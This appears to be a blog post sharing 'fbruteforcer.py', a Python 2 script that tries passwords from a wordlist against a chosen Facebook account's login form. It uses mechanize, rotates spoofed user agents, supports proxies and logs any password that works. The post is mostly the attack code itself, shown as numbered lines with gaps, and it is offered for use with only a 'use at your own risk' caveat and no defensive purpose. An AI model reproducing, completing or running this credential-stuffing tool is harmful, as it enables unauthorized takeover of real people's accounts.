fbruteforcer.py
This is facebook bruteforcer utility…
Using mechanize module make the program like browser simulation, and cookielib for cookie handling…
Full python error handling…
Use this at your own risk .
020 | print "[*] Please install mechanize python module first" |
022 | except KeyboardInterrupt: |
023 | print "\n[*] Exiting program...\n" |
028 | print "[*] Please install cookielib python module first" |
030 | except KeyboardInterrupt: |
031 | print "\n[*] Exiting program...\n" |
034 | warnings.filterwarnings(action = "ignore" , message = ".*gzip transfer encoding is experimental!" , category = UserWarning) |
037 | __programmer__ = "gunslinger_ " |
042 | log = 'fbbruteforcer.log' |
047 | ouruseragent = [ 'Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)' , |
048 | 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre' , |
049 | 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;' , |
050 | 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)' , |
051 | 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)' , |
052 | 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)' , |
053 | 'Microsoft Internet Explorer/4.0b1 (Windows 95)' , |
054 | 'Opera/8.00 (Windows NT 5.1; U; en)' , |
055 | 'amaya/9.51 libwww/5.4.0' , |
056 | 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)' , |
057 | 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' , |
058 | 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)' , |
059 | 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)' , |
060 | 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)' , |
061 | 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]' |
073 | % (__programmer__, __version__) |
088 | % (sys.argv[ 0 ], sys.argv[ 0 ], sys.argv[ 0 ]) |
110 | if arg.lower() = = '-u' or arg.lower() = = '--user' : |
111 | username = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
112 | elif arg.lower() = = '-w' or arg.lower() = = '--wordlist' : |
113 | wordlist = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
114 | elif arg.lower() = = '-l' or arg.lower() = = '--log' : |
115 | log = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
116 | elif arg.lower() = = '-p' or arg.lower() = = '--proxy' : |
118 | proxy = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
119 | elif arg.lower() = = '-k' or arg.lower() = = '--userproxy' : |
121 | usw = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
122 | elif arg.lower() = = '-i' or arg.lower() = = '--passproxy' : |
124 | usp = sys.argv[ int (sys.argv[ 1 :].index(arg)) + 2 ] |
125 | elif arg.lower() = = '-v' or arg.lower() = = '--verbose' : |
127 | elif arg.lower() = = '-h' or arg.lower() = = '--help' : |
129 | elif len (sys.argv) < = 1 : |
140 | sys.stdout.write( "\r[*] Trying %s... " % word) |
141 | file .write( "[*] Trying %s\n" % word) |
143 | br.addheaders = [( 'User-agent' , random.choice(ouruseragent))] |
144 | opensite = br. open (fblogin) |
146 | br.form[ 'email' ] = username |
147 | br.form[ 'pass' ] = word |
149 | response = br.response().read() |
152 | if success in response: |
153 | print "\n\n[*] Logging in success..." |
154 | print "[*] Username : %s" % (username) |
155 | print "[*] Password : %s\n" % (word) |
156 | file .write( "\n[*] Logging in success..." ) |
157 | file .write( "\n[*] Username : %s" % (username)) |
158 | file .write( "\n[*] Password : %s\n\n" % (word)) |
160 | except KeyboardInterrupt: |
161 | print "\n[*] Exiting program...\n" |
163 | except mechanize._mechanize.FormNotFoundError: |
164 | print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" |
165 | file .write( "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" ) |
167 | except mechanize._form.ControlNotFoundError: |
168 | print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" |
169 | file .write( "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n" ) |
175 | bruteforce(word.replace( "\n" ,"")) |
181 | br = mechanize.Browser() |
182 | cj = cookielib.LWPCookieJar() |
184 | br.set_handle_equiv( True ) |
185 | br.set_handle_gzip( True ) |
186 | br.set_handle_redirect( True ) |
187 | br.set_handle_referer( True ) |
188 | br.set_handle_robots( False ) |
189 | br.set_debug_http( False ) |
190 | br.set_debug_redirects( False ) |
191 | br.set_debug_redirects( False ) |
192 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) |
194 | br.set_proxies({ "http" : proxy}) |
196 | br.add_proxy_password(usw, usp) |
198 | br.set_debug_http( True ) |
199 | br.set_debug_redirects( True ) |
200 | br.set_debug_redirects( True ) |
201 | except KeyboardInterrupt: |
202 | print "\n[*] Exiting program...\n" |
203 | file .write( "\n[*] Exiting program...\n" ) |
206 | preventstrokes = open (wordlist, "r" ) |
207 | words = preventstrokes.readlines() |
209 | while count < len (words): |
210 | words[count] = words[count].strip() |
213 | print "\n[*] Error: Check your wordlist path\n" |
214 | file .write( "\n[*] Error: Check your wordlist path\n" ) |
218 | except KeyboardInterrupt: |
219 | print "\n[*] Exiting program...\n" |
220 | file .write( "\n[*] Exiting program...\n" ) |
224 | print "\n[*] Starting attack at %s" % time.strftime( "%X" ) |
225 | print "[*] Account for bruteforcing %s" % (username) |
226 | print "[*] Loaded :" , len (words), "words" |
227 | print "[*] Bruteforcing, please wait..." |
229 | file .write( "\n[*] Starting attack at %s" % time.strftime( "%X" )) |
230 | file .write( "\n[*] Account for bruteforcing %s" % (username)) |
231 | file .write( "\n[*] Loaded : %d words" % int ( len (words))) |
232 | file .write( "\n[*] Bruteforcing, please wait...\n" ) |
233 | except KeyboardInterrupt: |
234 | print "\n[*] Exiting program...\n" |
242 | if __name__ = = '__main__' : |
No comments:
Post a Comment